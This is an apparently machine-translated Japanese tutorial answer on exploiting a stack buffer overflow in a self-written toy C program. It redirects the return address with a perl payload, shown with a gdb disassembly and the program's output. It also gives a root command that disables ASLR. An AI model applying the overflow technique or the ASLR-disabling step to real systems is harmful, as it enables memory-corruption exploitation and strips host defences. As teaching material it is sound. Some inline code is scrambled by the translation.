私が理解しているのは、コードで命令を実行してからx=1;
、次の printf にジャンプして、のみを印刷することx is 0
です。それを行う方法はありません。
ただし、 func() でそれ自体の戻りアドレスを消去して、コードが に直接ジャンプするようにすることもできますprintf("\nx is 0\n\n");
。これは飛び越えることも意味しx=1;
ます。
これは、cmd-line を介して渡されたものを func() に送信し、固定サイズのバッファーに直接コピーしているためにのみ可能です。コピーしようとしている文字列が割り当てられたバッファよりも大きい場合、おそらくスタックが破損し、関数の戻りアドレスが上書きされる可能性があります。
このような素晴らしい本がありますので、そちらをお読みになることをお勧めします。
アプリケーションをgdbにロードして main 関数を逆アセンブルすると、次のようなものが表示されます。
(gdb) disas main
Dump of assembler code for function main:
0x0804840e <main+0>: lea 0x4(%esp),%ecx
0x08048412 <main+4>: and $0xfffffff0,%esp
0x08048415 <main+7>: pushl -0x4(%ecx)
0x08048418 <main+10>: push %ebp
0x08048419 <main+11>: mov %esp,%ebp
0x0804841b <main+13>: push %ecx
0x0804841c <main+14>: sub $0x24,%esp
0x0804841f <main+17>: movl $0x0,-0x8(%ebp)
0x08048426 <main+24>: mov 0x4(%ecx),%eax
0x08048429 <main+27>: add $0x4,%eax
0x0804842c <main+30>: mov (%eax),%eax
0x0804842e <main+32>: mov %eax,(%esp)
0x08048431 <main+35>: call 0x80483f4 <func> // obvious call to func
0x08048436 <main+40>: movl $0x1,-0x8(%ebp) // x = 1;
0x0804843d <main+47>: movl $0x8048520,(%esp) // pushing "x is 1" to the stack
0x08048444 <main+54>: call 0x804832c <puts@plt> // 1st printf call
0x08048449 <main+59>: movl $0x8048528,(%esp) // pushing "x is 0" to the stack
0x08048450 <main+66>: call 0x804832c <puts@plt> // 2nd printf call
0x08048455 <main+71>: add $0x24,%esp
0x08048458 <main+74>: pop %ecx
0x08048459 <main+75>: pop %ebp
0x0804845a <main+76>: lea -0x4(%ecx),%esp
0x0804845d <main+79>: ret
End of assembler dump.
2 回目のprintf呼び出しの準備が address で開始されることに注意してください0x08048449
。の元の戻りアドレスをオーバーライドしfunc()
て にジャンプさせるに0x08048449
は、 の容量を超えて書き込む必要がありますchar buffer[24];
。このテストではchar buffer[6];
、簡単にするために使用しました。
gdbにいる間、実行すると:
run `perl -e 'print "123456AAAAAAAA"x1,"\x49\x84\x04\x08"'`
これにより、バッファが正常にオーバーライドされ、リターンのアドレスがジャンプ先のアドレスに置き換えられます。
Starting program: /home/karl/workspace/stack/fun `perl -e 'print "123456AAAAAAAA"x1,"\x49\x84\x04\x08"'`
x is 0
Program exited with code 011.
(gdb)
他の人がすでにはるかに優れているため、すべての手順を説明することはしませんが、コマンドラインから直接この動作を再現したい場合は、次を実行できます。
./fun `perl -e 'print "123456AAAAAAAA"x1,"\x49\x84\x04\x08"'`
gdbが報告するメモリ アドレスは、おそらく私が取得したものとは異なることに注意してください。
注: この手法を機能させるには、最初にカーネル保護を無効にする必要があります。ただし、以下のコマンドが 0 以外を報告する場合:
cat /proc/sys/kernel/randomize_va_space
無効にするには、スーパーユーザー アクセスが必要です。
echo 0 > /proc/sys/kernel/randomize_va_space